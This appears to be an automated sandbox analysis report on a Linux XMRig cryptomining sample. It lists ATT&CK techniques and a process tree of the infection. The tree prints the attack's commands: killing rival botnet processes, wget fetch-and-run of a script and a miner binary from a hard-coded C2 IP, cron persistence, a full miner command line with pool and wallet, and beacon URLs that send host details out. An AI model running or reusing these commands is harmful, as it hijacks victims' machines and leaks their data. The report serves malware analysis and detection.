Analysis
- max time kernel
149s - max time network
139s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
30/09/2026, 08:14
General
- Target dlr.x86-64
- Size 2KB
- Sample260930-j5ctbs1fkc
- SHA256 b393b7929448a719cb78ae767035bcb732e04eec7923abb573aa12e62686cc94
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 2 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 4 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Remote System Discovery 1 TTPs 1 IoCs
Adversaries may try to discover information about remote systems in a network.
- System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/dlr.x86-64/tmp/dlr.x86-641⤵
-
/usr/bin/killallkillall -9 robben2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.x862⤵
-
-
/usr/bin/killallkillall -9 net.mips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 net.arm2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm52⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm62⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm72⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.mpsl2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.ppc2⤵
-
-
/usr/bin/killallkillall -9 net.m68k2⤵
-
-
/usr/bin/killallkillall -9 net.sh42⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.i4862⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.i6862⤵
-
-
/usr/bin/killallkillall -9 px862⤵
-
-
/usr/bin/killallkillall -9 pmips2⤵
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 parm2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 hajime2⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 sora2⤵
- Reads runtime system information
-
-
/bin/rmrm -f kla2⤵
-
-
/usr/bin/wgetwget -q -O kla http://94.154.43.203:8080/cur.sh2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 kla2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh kla cn2⤵
- Creates/modifies Cron job
- Writes file to tmp directory
-
/usr/bin/killallkillall -9 robben3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.x863⤵
-
-
/usr/bin/killallkillall -9 net.mips3⤵
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 net.arm3⤵
-
-
/usr/bin/killallkillall -9 net.arm53⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm63⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.arm73⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.mpsl3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.ppc3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.m68k3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.sh43⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.i4863⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 net.i6863⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 px863⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 pmips3⤵
- System Network Configuration Discovery
-
-
/usr/bin/killallkillall -9 parm3⤵
-
-
/usr/bin/killallkillall -9 hajime3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -9 sora3⤵
-
-
/usr/sbin/cron/usr/sbin/cron3⤵
-
-
/usr/bin/cron/usr/bin/cron3⤵
-
-
/usr/bin/killallkillall -1 crond3⤵
- Reads runtime system information
-
-
/usr/bin/killallkillall -1 cron3⤵
- Reads runtime system information
-
-
/usr/bin/touchtouch /tmp/.xmH3⤵
- Writes file to tmp directory
-
-
/bin/grepgrep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"3⤵
-
-
/bin/grepgrep -iE "hwaddr|ether"3⤵
-
-
/usr/bin/trtr -d :3⤵
-
-
/usr/bin/headhead -13⤵
-
-
/sbin/ipip addr show3⤵
- System Network Configuration Discovery
-
-
/bin/grepgrep -iE link/ether3⤵
-
-
/bin/grepgrep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"3⤵
-
-
/usr/bin/headhead -13⤵
-
-
/usr/bin/trtr -d :3⤵
-
-
/usr/bin/wgetwget -q -O - http://94.154.43.203:8080/lease_xm-6a031b5a93a43⤵
-
-
/usr/bin/killallkillall -9 xm3⤵
- Reads runtime system information
-
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/go_xm-6a031b5a93a4_v183⤵
-
-
/bin/unameuname -m3⤵
-
-
/usr/bin/trtr A-Z a-z3⤵
-
-
/bin/rmrm -f xm3⤵
-
-
/usr/bin/wgetwget -q -O xm http://94.154.43.203:8080/xm/xmrig-static-armv73⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 xm3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/nprocnproc3⤵
-
-
/bin/sleepsleep 83⤵
-
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/ok_xm-6a031b5a93a4_armv7l_v183⤵
-
-
/usr/bin/nohupnohup ./xm -B -o auto.c3pool.org:33333 -u 448yK8JVPGLCKheTaFMNdEGv3398wRzukdukfiQV5QgR3qBfK9KoGKRauPDQM9MhTa25dEHF2LAMLT6r1XeBjcAe1NjZYMS -p xm-6a031b5a93a4 --donate-level 0 --randomx-mode light -t 1 --tls "--log-file=/tmp/xmlog"3⤵
- Executes dropped EXE
-
-
/bin/sleepsleep 253⤵
-
-
/bin/sleepsleep 123⤵
-
-
/bin/sleepsleep 603⤵
-
-
/bin/sleepsleep 303⤵
-
-
/bin/sleepsleep 203⤵
-
-
/usr/bin/headhead -13⤵
-
-
/bin/grepgrep -oE "\\([0-9.]+\\)"3⤵
-
-
/usr/bin/trtr -d "()"3⤵
-
-
/bin/pingping -c1 -W3 auto.c3pool.org3⤵
- Remote System Discovery
-
-
/usr/bin/nprocnproc3⤵
-
-
/usr/bin/envenv3⤵
-
-
/bin/grepgrep -i proxy3⤵
-
-
/usr/bin/headhead -c 1203⤵
-
-
/usr/bin/trtr -c "A-Za-z0-9.:/=_" _3⤵
-
-
/usr/bin/trtr -cd 0-93⤵
-
-
/usr/bin/wcwc -l3⤵
-
-
/usr/bin/trtr -c A-Za-z0-9. _3⤵
-
-
/usr/bin/headhead -c 1003⤵
-
-
/usr/bin/tailtail -1 /tmp/xmlog3⤵
-
-
/usr/bin/pgreppgrep xm3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/tmp/xm./xm -B -o auto.c3pool.org:33333 -u 448yK8JVPGLCKheTaFMNdEGv3398wRzukdukfiQV5QgR3qBfK9KoGKRauPDQM9MhTa25dEHF2LAMLT6r1XeBjcAe1NjZYMS -p xm-6a031b5a93a4 --donate-level 0 --randomx-mode light -t 1 --tls "--log-file=/tmp/xmlog"1⤵
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Writes file to tmp directory
-
/usr/bin/curlcurl -s -o /dev/null http://94.154.43.203:8080/ok_xm-6a031b5a93a4_armv7l_v181⤵
- Checks CPU configuration
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/dns_xm-6a031b5a93a4_57.129.119.218 84_v181⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/cpu_xm-6a031b5a93a4_1_1_v181⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/env_xm-6a031b5a93a4_none_v181⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/log_xm-6a031b5a93a4_20__2026_09_30_09_15_08.071___cpu______READY_threads_1_1__1__huge_pages_0__0_1_memory_2048_KB__22_ms___v181⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/ok2_xm-6a031b5a93a4_1_v181⤵
-
/usr/bin/wgetwget -q -O /dev/null http://94.154.43.203:8080/tcp_xm-6a031b5a93a4_0_v181⤵
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
.xmver
kla
xm
xmlog
xmlog
root